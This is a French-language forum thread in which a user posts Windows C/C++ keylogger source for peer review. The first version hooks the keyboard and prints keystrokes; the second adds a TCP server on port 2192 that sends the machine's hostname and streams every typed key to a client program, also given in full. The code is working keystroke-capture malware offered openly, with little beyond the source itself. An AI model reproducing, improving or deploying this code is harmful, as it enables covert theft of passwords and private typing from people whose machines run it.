Tanoki Admin
Messages : 26 Date d'inscription : 28/05/2011 Age : 26 Localisation : Romont, Suisse
| Sujet: Programmeurs uniquement ;) Mar 28 Juin - 15:31 | |
| Bonjour , je me suis lancez dans un code en C# , j'aimerai savoir si le code est clean svp merci Voici le main.c - Code:
-
#include <windows.h> #include <stdio.h> #include <stdlib.h>
// Global instance du hook HHOOK hKeyHook;
// Gestion du hook __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) { // Action du clavier et les touches tappées if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) { // conversion du code -> ascii BYTE KeyState[256]; WORD wBuf; char ch; // Structure pour récupération des informations KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
/* Traitement récupération dec codes des touches */ // Etat du clavier GetKeyboardState(KeyState);
// Conversion code > ascii ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0); //on rajoute les touches non traitées par le hook switch(hooked.vkCode){ case 9 :{printf("<TAB>");break;} case 13 :{printf("<ENTER>");break;} case VK_BACK :{printf("<delete>");break;} case VK_DELETE: {printf("<Suppr>");break;} /* vous pouvez rajouter vos traitements perso ici ! */ default : { // on affiche les touches tappées ch=((char)wBuf); printf("%c",ch); break; } }
} // Renvoi des messages au sytème return CallNextHookEx(hKeyHook, nCode,wParam,lParam); }
// Boucle des messages void MsgLoop() { MSG message; while (GetMessage(&message,NULL,0,0)) { TranslateMessage( &message ); DispatchMessage( &message ); } }
DWORD WINAPI KeyLogger(LPVOID lpParameter) { // Récuperation de l'instance de notre executable HINSTANCE hExe = GetModuleHandle(NULL); if (!hExe) return 1;
// on demarre le hook hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL); if(hKeyHook==NULL) printf("[le hook clavier a plante !]\n"); else printf("[hook clavier en cours ...]\n"); // Boucle des messages MsgLoop(); // on desactive le hook if(UnhookWindowsHookEx(hKeyHook)==0) printf("[desactivation du Hook echoue !]"); else printf("[la desactivation du hook c'est passee correctement]"); return 0; }
int main(int argc, char *argv[]) { // initialisation des options pour la fonction CreateThread HANDLE hThread; DWORD dwThread; DWORD exThread; printf("\n[Exemple de Hook Clavier] by tOnyh2\n"); // on crée le thread qui va démarrer le hook hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
if (hThread) { // Attente à l'infini return WaitForSingleObject(hThread,INFINITE); } else { return 0; } } | |
|
Touf
Messages : 39 Date d'inscription : 29/05/2011 Age : 26
| Sujet: Re: Programmeurs uniquement ;) Mar 28 Juin - 22:03 | |
| | |
|
Tanoki Admin
Messages : 26 Date d'inscription : 28/05/2011 Age : 26 Localisation : Romont, Suisse
| Sujet: Re: Programmeurs uniquement ;) Mer 29 Juin - 14:38 | |
| non vu que ce programme la ne doit jamais prendre la valeur 0 sinon il perds toute son utilité
Dernière édition par Tanoki le Mer 29 Juin - 14:46, édité 1 fois | |
|
Tanoki Admin
Messages : 26 Date d'inscription : 28/05/2011 Age : 26 Localisation : Romont, Suisse
| Sujet: Re: Programmeurs uniquement ;) Mer 29 Juin - 14:43 | |
| Voila nouvelle version client/serveur j'attends vos avis Merci - Code:
-
//Source du Serveur : #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <cstdio> #include <cstdlib>
#include <iostream> #include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
HHOOK hKeyHook;
SOCKET sock; SOCKET csock; SOCKADDR_IN sin; SOCKADDR_IN csin;
using namespace std;
void displayCharArray(char stringArray[], int size0floatArray); __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
// Action du clavier et les touches tappées if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) { BYTE KeyState[256]; WORD wBuffer; // Récupération des informations KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState(KeyState); // Conversion code > ascii ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuffer,0);
switch(hooked.vkCode) { case 9 :{send(csock,"<TAB>",6,0);break;} case 13 :{send(csock,"<ENTER>",8,0);break;} case VK_BACK :{send(csock,"<delete>",9,0);break;} case VK_DELETE: {send(csock,"<Suppr>",8,0);break;} case VK_CAPITAL :{send(csock,"<CAP>",6,0);break;} case 160 :{send(csock,"<MAJ>",6,0);break;}
default : { send(csock,((const char*)&wBuffer),sizeof(&wBuffer),0); break; }}
} // Fin du hook Renvoi des messages return CallNextHookEx(hKeyHook, nCode,wParam,lParam); }
// Boucle message void Boucle() { MSG message; while (GetMessage(&message,NULL,0,0)) { } }
DWORD WINAPI KeyLogger(LPVOID lpParameter) {
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) return 1;
// Demarrage du hook hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
// Boucle message Boucle();
return 0; }
//************************************************************************** int main() { //*********************************************************************
WSADATA WSAData; WSAStartup(MAKEWORD(2,0),&WSAData);
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_addr.s_addr = INADDR_ANY; sin.sin_family = AF_INET; sin.sin_port = htons(2192); //********************** HANDLE hThread; DWORD dwThread; DWORD exThread; //**********************
if (bind(sock, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR){ cout << "Problème de connection"; system("PAUSE"); return 1;} if (listen(sock, 0) == SOCKET_ERROR){ cout << "Port déjà utilisé"; system("PAUSE"); return 1;} char FAR buffer[64] ;
while(true) { int sinsize = sizeof(csin); if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET) { gethostname(buffer, sizeof(buffer)); send(csock,buffer,sizeof(buffer),0); send(csock," // Keylogguer Actif : ",22,0); cout << "On" << endl; hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread); if (hThread) { return WaitForSingleObject(hThread,INFINITE); } else { return 0;
} }
closesocket(sock); WSACleanup(); } }
//CLIENT #include <cstdio> #include <cstdlib> #include <iostream> #include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
using namespace std;
int main(int nNumberofArgs, char* pszArgs[]) { char buffer[1024];
WSADATA WSAData; WSAStartup(MAKEWORD(2,0),&WSAData); SOCKET sock; sock = socket(AF_INET,SOCK_STREAM,0); SOCKADDR_IN sin; sin.sin_addr.s_addr = inet_addr("127.0.0.1"); sin.sin_family = AF_INET; sin.sin_port = htons(2192);
connect(sock,(SOCKADDR *)&sin,sizeof(sin)); int x = connect(sock,(SOCKADDR *)&sin,sizeof(sin)); // Boucle infinie réception message for(;;) { int i = recv(sock,buffer,sizeof(buffer),0); if (i != false && i != SOCKET_ERROR) { cout << buffer; } if ( i == SOCKET_ERROR){cout << endl << endl << "Connexion interrompu" << endl << endl;system("PAUSE");return 1;} if(x == false){ system("PAUSE"); return 1; // Si connection inexistante break }}
closesocket(sock); WSACleanup();
getchar(); } | |
|
Contenu sponsorisé
| Sujet: Re: Programmeurs uniquement ;) | |
| |
|